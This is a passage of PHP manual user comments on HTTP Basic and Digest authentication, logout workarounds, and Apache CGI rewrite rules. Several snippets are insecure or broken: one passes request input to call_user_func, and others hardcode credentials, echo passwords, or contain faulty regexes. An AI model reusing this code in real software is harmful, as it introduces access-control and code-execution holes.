        <a href="http://logout.php">Deconnexion</a>
    </body>
</html>

logout.php :

<?php
setcookie("USER_SESSION", '', 1,'/');
header('Location: http://login.php');
?>
Carlos 22-Nov-2017 10:44
Simpler WorkAround for missing Authorization header under CGI/FastCGI available in Apache HTTP Server 2.4.13 and later

     CGIPassAuth On

Please don't enable Authorization header with Basic Authentication, is very insecure.
john_2232 at gmail dot com 22-Nov-2015 07:05
Here is my attempt to create a digest authentication class that will log the user in and out without using a cookie,session,db,or file. At the core is this simple code to parse the digest string into variables works for several browsers.
<?php
// explode the digest with multibrowser support by Tony Wyatt 21jun07
public function explodethedigest($instring) {
$quote = '"';
$equal = '=';
$comma = ',';
$space = ' ';
$a = explode( $comma, $instring);
$ax = explode($space, $a[0]);
$b = explode( $equal, $ax[1], 2);
$c = explode( $equal, $a[1], 2);
$d = explode( $equal, $a[2], 2);
$e = explode( $equal, $a[3], 2);
$f = explode( $equal, $a[4], 2);
$g = explode( $equal, $a[5], 2);
$h = explode( $equal, $a[6], 2);
$i = explode( $equal, $a[7], 2);
$j = explode( $equal, $a[8], 2);
$k = explode( $equal, $a[9], 2);
$l = explode( $equal, $a[10], 2);
$parts = array(trim($b[0])=>trim($b[1], '"'), trim($c[0])=>trim($c[1], '"'), trim($d[0])=>trim($d[1], '"'), trim($e[0])=>trim($e[1], '"'), trim($f[0])=>trim($f[1], '"'), trim($g[0])=>trim($g[1], '"'), trim($h[0])=>trim($h[1], '"'), trim($i[0])=>trim($i[1], '"'), trim($j[0])=>trim($j[1], '"'), trim($k[0])=>trim($k[1], '"'), trim($l[0])=>trim($l[1], '"'));

return $parts;
}
?>
Give it a try at http://www.creativetheory.ca/ /tests/ta1.php Log in with user test password pass or user guest password guest. Go to page two for links to the code. Comments, ideas, suggestions, or critique welcome.
dan223 at gmail dot com 01-Oct-2015 10:45
A simple script for SSL Client Certificate authentication with a basic authentication fall-back. I use this on my site using LDAP server to check username/passwords and client certificate to user mapping.

<?
// Check if and how we are authenticated
if ($_SERVER['SSL_CLIENT_VERIFY'] != "SUCCESS") { // Not using a client certificate
    if ((!$_SERVER['PHP_AUTH_USER']) && (!$_SERVER['PHP_AUTH_PW'])) { // Not logged in using basic authentication
        authenticate(); // Send basic authentication headers
    }
}

if ($_SERVER['SSL_CLIENT_S_DN_CN'] != "chris") { // Check CN name of cert

    if (!(($_SERVER['PHP_AUTH_USER'] == "test") && ($_SERVER['PHP_AUTH_PW'] == "123"))) { // Check username and password
        authenticate(); // Send basic authentication headers because username and/or password didnot match
    }
}

phpinfo();

// Call authentication display
function authenticate() {
    Header("WWW-Authenticate: Basic realm=Website");
        Header("HTTP/1.0 401 Unauthorized");
        error401();
        exit;
}
?>

See my website (http://velocitypress.ca/index.php?page=/manuals/) for more details on client certificate with Apache and PHP.
jake22 at gmail dot com 01-Oct-2015 10:42
I came up with another approach to work around the problem of browsers caching WWW authentication credentials and creating logout problems. While most browsers have some kind of way to wipe this information, I prefer having my website to take care of the task instead of relying on the user's sanity.

Even with Lalit's method of creating a random realm name, it was still possible to get back into the protected area using the back button in Firefox, so that didn't work. Here's my solution:

Since browsers attach the credentials to specific URLs, use virtual paths where a component of the path is actually a PHP script, and everything following it is part of the URI, such as:

http://velocitypress.ca/some_dir/login.php/auth/8f631b92/

By choosing a different number for the last component of the URL, browsers can be tricked into thinking that they are dealing with a completely different website, and thus prompting the user for credentials again.

Note that using a random, unrestricted number will still allow the user to hit the back button to get back into the page. You should keep track of this number in a server-side file or database and regenerate it upon each successful login, so that the last number(s) become invalid. Using an invalid number might result in a 403 response or, depending on how you feel that day, a 302 to a nasty website.

Care should be taken when linking from the page generated in this case, since relative links will be relative to the virtual and non-existant directory rather than the true script directory.
sergio dot carvalho at gmail dot com 07-Jun-2015 04:01
The only effective way I've found to wipe out the PHP_AUTH_DIGEST or PHP_AUTH_USER AND PHP_AUTH_PW credentials is to call the header HTTP/1.1 401 Unauthorized.

function clear_admin_access(){
    header('HTTP/1.1 401 Unauthorized');
    die('Admin access turned off');
}
derkontrollfreak+9hy5l at gmail dot com 19-Apr-2014 03:55
Workaround for missing Authorization header under CGI/FastCGI Apache:

SetEnvIf Authorization .+ HTTP_AUTHORIZATION=$0

Now PHP should automatically declare $_SERVER[PHP_AUTH_*] variables if the client sends the Authorization header.
Robb_Bean at gmx dot net 09-Jan-2014 04:55
In the german example #2 (digest), the <?php $realm = "Geschutzter Bereich"; ?>. As far as I have tested the umlaut u is problematic, resulting in an password enter infinity loop. In my case it was written in UTF-8. So I suggest using only plain ASCII characters for the realm.
xsanychx at mail dot ru 02-Oct-2012 09:32
New auth:

<?php
$login = 'test_login';
$pass = 'test_pass';

if(($_SERVER['PHP_AUTH_PW']!= $pass || $_SERVER['PHP_AUTH_USER'] != $login)|| !$_SERVER['PHP_AUTH_USER'])
{
    header('WWW-Authenticate: Basic realm="Test auth"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Auth failed';
    exit;
}
?>
kazakevichilya at gmail dot com 30-Mar-2012 08:20
In case of CGI/FastCGI you would hot be able to access PHP_AUTH* info because CGI protocol does not declare such variables (that is why their names start from PHP) and server would not pass them to the interpreter. In CGI server should authenticate user itself and pass REMOTE_USER to CGI script after it.

So you need to "fetch" request headers and pass them to your script somehow.

In apache you can do it via environment variables if mod_env is installed.

Following construction in .htaccess copies request header "Authorization" to the env variable PHP_AUTH_DIGEST_RAW

SetEnvIfNoCase ^Authorization$ "(.+)" PHP_AUTH_DIGEST_RAW=$1

You can now access it via $_ENV.

Do not forget to strip auth type ("Digest" in my case) from your env variable because PHP_AUTH_DIGEST does not have it.

If mod_env is not installed you probably have mod_rewrite (everyone has it because of "human readable URLs").

You can fetch header and pass it as GET parameter using rewrite rule:

RewriteRule ^.*$ site.php?PHP_AUTH_DIGEST_RAW=%{HTTP:Authorization} [NC,L]

Here HTTP request header Authorization would be acessible as PHP_AUTH_DIGEST_RAW via $_GET.

---
If you use ZF you probably use Zend_Auth_Adapter_Http to auth user.

It takes Authorization info using "Zend_Controller_Request::getHeader"
This method uses apache_request_header which is likely not to be accessible in old CGI/FastCGI installations or _$_SERVER['HTTP_<HeaderName>] , so you need to put your authentication data, obtained via _GET or ENV to
_$_SERVER['HTTP_AUTHORIZATION'].
It will make ZF work transparently with you solution and I believe any other framework should work also
vog at notjusthosting dot com 23-Feb-2012 11:54
You shouldn't use the "last" ("L") directive in the RewriteRule! This will prevent all further rewrite rules to be skipped whenever a Basic or Digest Auth is given, which is almost certainly not what you want.

So the following lines are sufficient for the .htaccess (or httpd.conf) file:

RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
h3ndrik 24-Oct-2011 05:32
On my configuration with php-cgi - after setting the RewriteRule - the correct variable would be: $_SERVER['REDIRECT_HTTP_AUTHORIZATION']

So the workaround for PhpCGI is:
Set in your .htaccess:

RewriteEngine on
RewriteRule .* - [env=HTTP_AUTHORIZATION:%{HTTP:Authorization},last]

Php workaround:
<?php
//set http auth headers for apache+php-cgi work around
if (isset($_SERVER['HTTP_AUTHORIZATION']) && preg_match('/Basic\s+(.*)$/i', $_SERVER['HTTP_AUTHORIZATION'], $matches)) {
    list($name, $password) = explode(':', base64_decode($matches[1]));
    $_SERVER['PHP_AUTH_USER'] = strip_tags($name);
    $_SERVER['PHP_AUTH_PW'] = strip_tags($password);
}

//set http auth headers for apache+php-cgi work around if variable gets renamed by apache
if (isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION']) && preg_match('/Basic\s+(.*)$/i', $_SERVER['REDIRECT_HTTP_AUTHORIZATION'], $matches)) {
    list($name, $password) = explode(':', base64_decode($matches[1]));
    $_SERVER['PHP_AUTH_USER'] = strip_tags($name);
    $_SERVER['PHP_AUTH_PW'] = strip_tags($password);
}
?>
ceo at l-i-e dot com 13-Oct-2010 03:51
To force a logout with Basic Auth, you can change the Realm out from under them to a different Realm.

This forces a new set of credentials for a new "Realm" on your server.

You just need to track the Realm name with the user/pass and change it around to something new/random as they log in and out.

I believe that this is the only 100% guaranteed way to get a logout in HTTP Basic Auth, and if it were part of the docs a whole lot of BAD user-contributed comments here could be deleted.
Ollie L 24-Sep-2010 04:16
I tried example 7, and at first I couldn't get it to work. It took me a while to spot that somewhere along the line, probably by the server, a seemingly random number was being added to the realm - so the valid_result variable wasn't calculated using the correct realm.

To get around this, or any similar problems, make the following changes to the example:

Around line 43 (44 if after next step ;) ):
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1, 'realm'=>1);

Before line 24:
$realm = $data['realm'];

These two steps get the real realm used for the authentication request, and substitute it into the "valid_response" query.

Hope this helps :)
idbobby at rambler dot ru 12-Aug-2010 02:31
First of all, sorry for my English.
One more authorization script with logout solution.
In script given by meint_at_meint_dot_net (http://www.php.net/manual/en/features.http-auth.php#93859) rewrite_module is used. If there are any problems with that module and possibilities of administration of the web-server are restricted (including restrictions for use of .htaccess) then you can use this solution.

index.php
---------

<?php

$auth_realm = 'My realm';

require_once 'auth.php';

echo "You've logged in as {$_SESSION['username']}<br>";
echo '<p><a href="?action=logOut">LogOut</a></p>'

?>

auth.php
--------

<?php

$_user_ = 'test';
$_password_ = 'test';

session_start();

$url_action = (empty($_REQUEST['action'])) ? 'logIn' : $_REQUEST['action'];
$auth_realm = (isset($auth_realm)) ? $auth_realm : '';

if (isset($url_action)) {
    if (is_callable($url_action)) {
        call_user_func($url_action);
    } else {
        echo 'Function does not exist, request terminated';
    };
};

function logIn() {
    global $auth_realm;

    if (!isset($_SESSION['username'])) {
        if (!isset($_SESSION['login'])) {
            $_SESSION['login'] = TRUE;
            header('WWW-Authenticate: Basic realm="'.$auth_realm.'"');
            header('HTTP/1.0 401 Unauthorized');
            echo 'You must enter a valid login and password';
            echo '<p><a href="?action=logOut">Try again</a></p>';
            exit;
        } else {
            $user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : '';
            $password = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : '';
            $result = authenticate($user, $password);
            if ($result == 0) {
                $_SESSION['username'] = $user;
            } else {
                session_unset($_SESSION['login']);
                errMes($result);
                echo '<p><a href="">Try again</a></p>';
                exit;
            };
        };
    };
}

function authenticate($user, $password) {
    global $_user_;
    global $_password_;

    if (($user == $_user_)&&($password == $_password_)) { return 0; }
    else { return 1; };
}

function errMes($errno) {
    switch ($errno) {
        case 0:
            break;
        case 1:
            echo 'The username or password you entered is incorrect';
            break;
        default:
            echo 'Unknown error';
    };
}

function logOut() {

    session_destroy();
    if (isset($_SESSION['username'])) {
        session_unset($_SESSION['username']);
        echo "You've successfully logged out<br>";
        echo '<p><a href="?action=logIn">LogIn</a></p>';
    } else {
        header("Location: ?action=logIn", TRUE, 301);
    };
    if (isset($_SESSION['login'])) { session_unset($_SESSION['login']); };
    exit;
}

?>
Ome Ko 25-Mar-2010 03:04
a link to http://logout:logout@<?=$_SERVER['HTTP_HOST'];?>/SECRET/ would force a fresh login for the /SECRET directory if no user logout with password logout exists.

[NOTE BY danbrown AT php DOT net: The following note was added by "Anonymous" on 01-APR-2010 (though we presume it's not an April Fool's Day joke).]

this logout method does not work 100% anymore, because of another bulls**t from M$:
http://support.microsoft.com/kb/834489
Anonymous 09-Sep-2009 10:02
The regex in http_digest_parse from Example #2 does not work for me (PHP 5.2.6), because back references are not allowed in a character class.  This worked for me:

<?php

// function to parse the http auth header
function http_digest_parse($txt)
{
   // protect against missing data
   $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
   $data = array();

   preg_match_all('@(\w+)=(?:(?:\'([^\']+)\'|"([^"]+)")|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

   foreach ($matches as $m) {
       $data[$m[1]] = $m[2] ? $m[2] : ($m[3] ? $m[3] : $m[4]);
       unset($needed_parts[$m[1]]);
   }

   return $needed_parts ? false : $data;
}

?>
s dot i dot g at gmx dot com 06-Sep-2009 12:34
<?php

// try to mimic cpanel logout style
// only diff is usr & pwd field is cleared when re-login
// tested with ff2 & ie8

session_start();

$username = "test";
$password = "test";

if(isset($_GET['logout']))
{
  unset($_SESSION["login"]);
  echo "You have logout ... ";
  echo "[<a href='" . $_SERVER['PHP_SELF'] . "'>Login</a>]";
  exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || !isset($_SESSION["login"]))
{
  header("WWW-Authenticate: Basic realm=\"Test\"");
  header("HTTP/1.0 401 Unauthorized");
  $_SESSION["login"] = true;
  echo "You are unauthorized ... ";
  echo "[<a href='" . $_SERVER['PHP_SELF'] . "'>Login</a>]";
  exit;
}
else
{
  if($_SERVER['PHP_AUTH_USER'] == $username && $_SERVER['PHP_AUTH_PW'] == $password)
  {
    echo "You have logged in ... ";
    echo "[<a href='" . $_SERVER['PHP_SELF'] . "?logout'>Logout</a>]";
  }
  else
  {
    unset($_SESSION["login"]);
    header("Location: " . $_SERVER['PHP_SELF']);
  }
}

// content here

?>
Yuriy 15-Feb-2009 06:11
Good day.
Sorry for my english.
This example shows programming "LOGIN", "LOGOUT" and "RE-LOGIN".
This script must use in the protected pages.
For work this script the browser address string must be following:
"http://localhost/admin/?login" - for Login,
"http://localhost/admin/?logout" - for Logout,
"http://localhost/admin/?logout&login" - for Re-Login.
<?php
session_start();

$authorized = false;

# LOGOUT
if (isset($_GET['logout']) && !isset($_GET["login"]) && isset($_SESSION['auth']))
{
    $_SESSION = array();
    unset($_COOKIE[session_name()]);
    session_destroy();
    echo "logging out...";
}

# checkup login and password
if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW']))
{
    $user = 'test';
    $pass = 'test';
    if (($user == $_SERVER['PHP_AUTH_USER']) && ($pass == ($_SERVER['PHP_AUTH_PW'])) && isset($_SESSION['auth']))
    {
    $authorized = true;
    }
}

# login
if (isset($_GET["login"]) && !$authorized ||
# relogin
    isset($_GET["login"]) && isset($_GET["logout"]) && !isset($_SESSION['reauth']))
{
    header('WWW-Authenticate: Basic Realm="Login please"');
    header('HTTP/1.0 401 Unauthorized');
    $_SESSION['auth'] = true;
    $_SESSION['reauth'] = true;
    echo "Login now or forever hold your clicks...";
    exit;
}
$_SESSION['reauth'] = null;
?>
<h1>you have <? echo ($authorized) ? (isset($_GET["login"]) && isset($_GET["logout"]) ? 're' : '') : 'not '; ?>logged!</h1>
Lars Stecken 12-Feb-2008 10:23
To anybody who tried the digest example above and didn't get it to work.

For me the problem seemed to be the deprecated use of '\' (backslash) in the regex instead of the '$' (Dollar) to indicate a backreference. Also the results have to be trimmed off the remaining double and single quotes.

Here's the working example:

// function to parse the http auth header
function http_digest_parse($txt)
{

    // protect against missing data
    $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
    $data = array();

    preg_match_all('@(\w+)=(?:([\'"])([^$2]+)$2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

    foreach ($matches as $m) {
        $data[$m[1]] = $m[3] ? trim($m[3],"\",'") : trim($m[4],"\",'");
        unset($needed_parts[$m[1]]);
    }

    return $needed_parts ? false : $data;
}

Probably there's a more sophisticated way to trim the quotes within the regex, but I couldn't be bothered :-)

Greets, Lars
gbelyh at gmail dot com 26-Jul-2007 11:48
Back to the autherisation in CGI mode. this is the full working example:

#  Create the .htaccess file with following contents:
# also you can use the condition (search at this page)
RewriteEngine on
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

# In the beginning the script checking the authorization place the code:

$userpass = base64_decode(substr($_SERVER["REDIRECT_REMOTE_USER"],6)) ;

$userpass = explode(":", $userpass);

if (  count($userpass) == 2  ){
     #this part work not for all.
     #print_r($userpass);die; #<- this can help find out right username and password
     list($name, $password) = explode(':', $userpass);
     $_SERVER['PHP_AUTH_USER'] = $name;
     $_SERVER['PHP_AUTH_PW'] = $password;

}
Nicolas Merlet - admin(at)merletn.org 05-Mar-2007 09:37
Be careful using http digest authentication (see above, example 34.2) if you have to use the 'setlocale' function *before* validating response with the 'http_digest_parse' function, because there's a conflict with \w in the pattern of 'preg_match_all' function :

In fact, as \w is supposed to be any letter or digit or the underscore character, you must not forgot that this may vary depending on your locale configuration (eg. it accepts accented letters in french)...

Due to this different pattern interpretation by the 'preg_match_all' function, the 'http_digest_parse' function will always return a false result if you have modified your locale (I mean if your locale accepts some extended characters, see http://fr.php.net/manual/en/reference.pcre.pattern.syntax.php for further information).

IMHO, I suggest you not to use setlocale before having your authentication completed...

PS : Here's a non-compatible setlocale declaration...
setlocale ( LC_ALL, 'fr_FR', 'fr', 'FR', 'french', 'fra', 'france', 'French', 'fr_FR.ISO8859-1' ) ;
webmaster at kratia dot com 20-Feb-2007 04:53
This is the simplest form I found to do a Basic authorization with retries.

<?php

$valid_passwords = array ("mario" => "carbonell");
$valid_users = array_keys($valid_passwords);

$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];

$validated = (in_array($user, $valid_users)) && ($pass == $valid_passwords[$user]);

if (!$validated) {
  header('WWW-Authenticate: Basic realm="My Realm"');
  header('HTTP/1.0 401 Unauthorized');
  die ("Not authorized");
}

// If arrives here, is a valid user.
echo "<p>Welcome $user.</p>";
echo "<p>Congratulation, you are into the system.</p>";

?>
Whatabrain 10-Nov-2006 07:05
Back to the problem of authenticating in CGI mode... mcbethh suggested using this to set a local variable in php:
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

It didn't work. I couldn't see the variable. My solution is pretty round-about, but it works:

RewriteEngine on
RewriteCond %{HTTP:Authorization} !^$
RewriteCond %{REQUEST_METHOD} =GET
RewriteCond %{QUERY_STRING} =""
RewriteRule ^page.php$ page.php?login=%{HTTP:Authorization}$1

This causes the Auth string to be added to the URL if there are no parameters and it's a GET request. This prevents POSTs and parameter lists from being corrupted.

Then, in the PHP script, I store the Auth string as a session cookie.

So the only way to log in to my script is to go to the url with no parameters.
admin at isprohosting dot com 01-Nov-2006 06:21
There are .htaccess which actually works for us (cPanel + phpsuexec) unless others failed. Perhaps it may help someone.

# PHP (CGI mode) HTTP Authorization with ModRewrite:
RewriteEngine on
RewriteCond %{HTTP:Authorization} ^(.*)
RewriteRule ^(.*) - [E=HTTP_AUTHORIZATION:%1]

Then you need small piece of php code to parse this line and then everything will work like with mod_php:

if (isset($_SERVER['HTTP_AUTHORIZATION']))
{
$ha = base64_decode( substr($_SERVER['HTTP_AUTHORIZATION'],6) );
list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = explode(':', $ha);
unset $ha;
}

Enjoy!
SlamJam 23-Oct-2006 11:28
I used Louis example (03-Jun-2006) and it works well for me (thanks).

However, I added some lines, to make sure, the user does only get the Authentification-Window a few times:

<?php
$realm = mt_rand( 1, 1000000000)."@YourCompany";
$_SESSION['realm'] = $realm;

// In the beginning, when the realm ist defined:
$_SESSION['CountTrials'] = 1;
?>

And then when it comes to check the authentification (ZEND-Tutorial):

<?php

// Not more than 3 Trials
if (!$auth) {
   $_SESSION['CountTrials']++;
   if ($_SESSION['CountTrials'] == 4) {
       session_destroy() ;
       header('Location: noentry.php');
       exit ;
   } else {
       header("WWW-Authenticate: Basic realm=".$_SESSION['realm']);
       header("HTTP/1.0 401 Unauthorized");
       echo 'Authorization Required.';
       exit;
   }
} else {
         echo '<P>You are authorized!</P>';
}
?>

noentry.php is slightely different from comeagain.php.
roychri at php dot net 10-Oct-2006 08:12
For PHP with CGI, make sure you put the rewrite rule above any other rewrite rule you might have.

In my case, I put this at the top of the .htaccess (below RewriteEngine On):
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}]

My symptom was that the REMOTE_USER (or REDIRECT_REMOTE_USER in my case) was not being set at all.
The cause: I had some other RewriteRule that was kickin in and was set as LAST rule.
I hope this helps.
web at kwi dot dk 12-Jul-2006 10:23
While Digest authentication is still far superior to Basic authentication, there are a number of security issues that one must keep in mind.

In this respect, the Digest example given above is somewhat flawed, because the nonce never times out or otherwise become invalid. It thus becomes a password-equivalent (although to that specific URL only) and can be used by an eavesdropper to fetch the page at any time in the future, thus allowing the attacker to always access the latest version of the page, or (much worse) repeatedly invoke a CGI script -- for instance, if the user requests the URL "/filemanager?delete=somefile", the attacker can repeat this deletion at any point in the future, possibly after the file has been recreated.

And while it might not be possible to change GET data without reauthentication, cookies and POST data *can* be changed.

To protect against the first problem, the nonce can be made to include a timestamp, and a check added to ensure that nonces older than e.g. 30 minutes result in a new authentication request.

To solve the second problem, a one-time only nonce needs to be generated -- that is, all further requests using a particular nonce must be refused.

One way to do this: When the user requests an action such as "deletefile", store a randomly generated nonce in a session variable, issue a 401 authentication challenge with that nonce, and then check against the stored value when receiving the authentication (and clear the session variable).

This way, although a possible eavesdropper receives the nonce and thus gains the ability to perform the action, he can only perform it once -- and the user was going to perform it anyway. (Only the user or the attacker, but not both, gets to perform the action, so it's safe.)

Of course, at some point, the security can only be improved by switching to HTTPS / SSL / TLS (this is for instance the only way to defend against man-in-the-middle attacks). You decide the level of security.
Louis 03-Jun-2006 03:51
I couldn't get authentication to work properly with any of the examples. Finally, I started from ZEND's tutorial example at:
http://www.zend.com/zend/tut/authentication.php?article=authentication (validate using .htpasswd) and tried to deal with the additional cases. My general conclusion is that changing the realm is the only reliable way to cause the browser to ask again, and I like to thank the person who put that example in the manual, as it got me on the right path. No matter what, the browser refuses to discard the values that it already has in mind otherwise. The problem with changing the realm, of course, is that you don't want to do it within a given session, else it causes a new request for a password. So, here goes, hopefully the spacing isn't too messed up by the cut'n'paste.

I spent the better part of a day getting this to work right. I had a very hard time thinking through what the browser does when it encounters an authentication request: seems to me that it tries to get the password, then reloads the page... so the HTML doesn't get run. At least, this was the case with IE, I haven't tested it with anything else.

<?php
session_start() ;
if (!isset($_SESSION['realm'])) {
        $_SESSION['realm'] = mt_rand( 1, 1000000000 ).
                " SECOND level: Enter your !!!COMPANY!!! password.";

        header( "WWW-Authenticate: Basic realm=".$_SESSION['realm'] );

        //  Below here runs HTML-wise only if there isn't a $_SESSION,
        // and the browser *can't* set $PHP_AUTH_USER... normally
        // the browser, having gotten the auth info, runs the page
        // again without getting here.
        //  What I'm basically getting to is that the way to get
        // here is to escape past the login screen. I tried
        // putting a session_destroy() here originally, but the
        // problem is that the PHP runs regardless, so the
        // REFRESH seems like the best way to deal with it.
        echo "<meta http-equiv=\"REFRESH\"
                content=\"0;url=index.php\">" ;
        exit;
        }

if ($_POST['logout'] == "logout") {
        session_destroy() ;
        header('Location: comeagain.php');
        exit ;
        }

// "standard" authentication code here, from the ZEND tutorial above.

comeagain.php is as follows:

<?
session_start();
unset($_SESSION['realm']);
session_destroy();
echo "<html><head><title>Logged Out</title><h1>Logout Page</h1><body>" ;
echo "You have successfully logged out of TOGEN";
echo " at ".date("h:m:s")." on ".date("d F Y") ;
echo "<p><a href=\"index.php\">Login Again</a>" ;
echo "</body></html>" ;
?>

The idea is to be able to trash the session (and thus reset the realm) without prompting the browser to ask again... because it has been redirected to logout.php.

With this combination, I get things to work. Just make sure not to have apache run htpasswd authentication at the same time, then things get really weird :-).
kembl at example dot com 23-May-2006 08:06
# PHP (CGI mode) HTTP Authorization with ModRewrite:
# most right example with header check for non empty:
 RewriteEngine on
 RewriteCond %{HTTP:Authorization}  !^$
 RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}, \
E=PHP_AUTH_USER:%{HTTP:Authorization},L]
djreficul at yahoo dot com 15-Feb-2006 02:14
Well, I think it's easy to make authentification works correctly. I use a session var to force authentication everytime a user visit the logging area.

<?php
if (!isset ($_SESSION['firstauthenticate'])) {
    session_start();
}
  function authenticate() {
    header('WWW-Authenticate: Basic realm="Sistema autentificaci?n UnoAutoSur"');
    header('HTTP/1_0 401 Unauthorized');
//    header("Status: 401 Access Denied");
    echo "Unauthorized\n";
    exit;
  }
 if (!isset($_SERVER['PHP_AUTH_USER']) || strcmp ($_SERVER['PHP_AUTH_USER'],$user)!=0 ||
      !isset ($_SERVER['PHP_AUTH_PW']) || strcmp($_SERVER['PHP_AUTH_PW'],$pass)!=0 || !isset ($_SESSION['firstauthenticate']) || !$_SESSION['firstauthenticate']) {
     $_SESSION['firstauthenticate']=true;
   authenticate();
 } else {
            //I destroy the session var now
    session_unset();
            //Your code below
 }
?>
marco dot moser at oltrefersina dot it 09-Jan-2006 06:29
I suggest to demand user's authentication and management to the web server (by .htaccess, ...):

1. configure a global /logon/ directory with a .htaccess file restricted access

2. use fopen wrapper:

  $hh = @fopen("http://{$_SERVER['PHP_AUTH_USER']}:{$_SERVER['PHP_AUTH_PW']}".
    @{$_SERVER['SERVER_NAME']}/logon/", "r");
  if (!$hh) authenticate(); // usual header WWW-Authenticate ...
  fclose($hh);
siberion at hotmail dot com 24-Aug-2005 09:11
I came up with another approach to work around the problem of browsers caching WWW authentication credentials and creating logout problems. While most browsers have some kind of way to wipe this information, I prefer having my website to take care of the task instead of relying on the user's sanity.

Even with Lalit's method of creating a random realm name, it was still possible to get back into the protected area using the back button in Firefox, so that didn't work. Here's my solution:

Since browsers attach the credentials to specific URLs, use virtual paths where a component of the path is actually a PHP script, and everything following it is part of the URI, such as:

http://www.example.com/some_dir/login.php/auth/8f631b92/

By choosing a different number for the last component of the URL, browsers can be tricked into thinking that they are dealing with a completely different website, and thus prompting the user for credentials again.

Note that using a random, unrestricted number will still allow the user to hit the back button to get back into the page. You should keep track of this number in a server-side file or database and regenerate it upon each successful login, so that the last number(s) become invalid. Using an invalid number might result in a 403 response or, depending on how you feel that day, a 302 to a nasty website.

Care should be taken when linking from the page generated in this case, since relative links will be relative to the virtual and non-existant directory rather than the true script directory.

Hope this helps somebody.
snagnever at gmail dot com 18-Jun-2005 03:39
It forces a auth each time the page is accessed:
(maybe can save someone)

<?
header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
header("Pragma: no-cache");
session_cache_limiter("public, no-store");
session_start();

function http_auth()
{
    $_SESSION['AUTH'] = 1;
    header('HTTP/1.0 401 Unauthorized');
    header('WWW-Authenticate: Basic realm="sn4g auth system"');
    // The actions to be done when the user clicks on 'cancel'
    exit();
}

if( !isset($_SERVER['PHP_AUTH_USER']) or @$_SESSION['AUTH'] != 1 )
{
    http_auth();
    exit();
}

// Actions do be done when the user has logged

// rest, must clean the session array
$_SESSION = array();
session_destroy();
?>
charly at towebs dot com 29-Apr-2005 10:13
A simpler approach on the post of:
bernard dot paques at bigfoot dot com
24-Sep-2004 01:42

This is another "patch" to the PHP_AUTH_USER and PHP_AUTH_PW server variables problem running PHP as a CGI.

First of all don't forget this fragment of code in your .htaccess (it's the only thing you need to make it work with mod_rewrite):

<IfModule mod_rewrite.c>
   RewriteEngine on
   RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]
</IfModule>

Then login.php

<?php
$a = base64_decode( substr($_SERVER["REMOTE_USER"],6)) ;
if ( (strlen($a) == 0) || ( strcasecmp($a, ":" )  == 0 ))
{
   header( 'WWW-Authenticate: Basic realm="Private"' );
   header( 'HTTP/1.0 401 Unauthorized' );
}
else
{
   list($name, $password) = explode(':', $a);
   $_SERVER['PHP_AUTH_USER'] = $name;
   $_SERVER['PHP_AUTH_PW']    = $password;

}

echo 'PHP_AUTH_USER =' . $_SERVER['PHP_AUTH_USER'] . '<br>';
echo 'PHP_AUTH_PW =' . $_SERVER['PHP_AUTH_PW'] . '<br>';
echo 'REMOTE_USER =' . $_SERVER['REMOTE_USER'] . '<br>';
?>

First, we decode the base64 encoded string discarding the first 6 characters of "Basic " and then we do a regular validation.
At the end of the script we print the variables to verify it's working. This should be ommited in the production version.

It's a variation of the script by Bernard Paques.
Thanks to him for that snippet.
jason 14-Aug-2004 10:12
on the php+mysql auth code by tigran at freenet dot am

There are some security weaknesses.

First
$user
  and
$pass

are both insecure, they could leave this code open to SQL injection, you should always remove invalid characters in both, or at least encode them.

Actually storing passwords as MD5 hashes leaves you less work to secure.

Second security risks
The same mysql user has rights to both update and select, and possibly even insert and on your auth database no less.
Again the SQL inject attack may occur with this., and the end user could then change the users username, password, or anything else in relation to this.

Third items is more of a performance issue,

Do you really need to update the database, as updates are slower then selects, and if you do them every time they access the page, you are costing some speed penalty.

One option, if you want to use sql (I think mysql has it) is memory only databases, and create a table within memory, the stores a unique session identifier for each user, that is logged in, or alternatively if it's a single front end system, you could use db files.
php at cscott dot net 12-Aug-2004 04:18
Note that Microsoft has released a 'security update' which disables the use of username:password@host in http urls.

   http://support.microsoft.com/default.aspx?scid=kb;en-us;834489

The methods described above which rely on this will no longer work in Microsoft browsers, sadly.

You can re-enable this functionality as described at

   http://weblogs.asp.net/cumpsd/archive/2004/02/07/69366.aspx

but your users will probably be unwilling to do this.
nuno at mail dot ideianet dot pt 13-May-2004 03:33
In Windows 2003 Server/IIS6 with the php4+ cgi I only get HTTP authentication working with:
<?php header("Status: 401 Access Denied"); ?>
with
<?php header('HTTP/1.0 401 Unauthorized'); ?>
doesn't work !
I also need in "Custom Errors" to select the range of "401;1" through "401;5" and click the "Set to Default" button.
Thanks rob at theblip dot com
steuber at aego dot de 07-May-2004 04:15
Quite a good solution for the logout problem:

Just tell browser that it is successfully logged in!
This works as follows:
1. User clicks logout button
2. Script sends 401 Header
3. User does NOT enter a password
4. If no password is entered, script sends 200 Header

So the browser remembers no password as a valid password.

Example:

<?php
if (
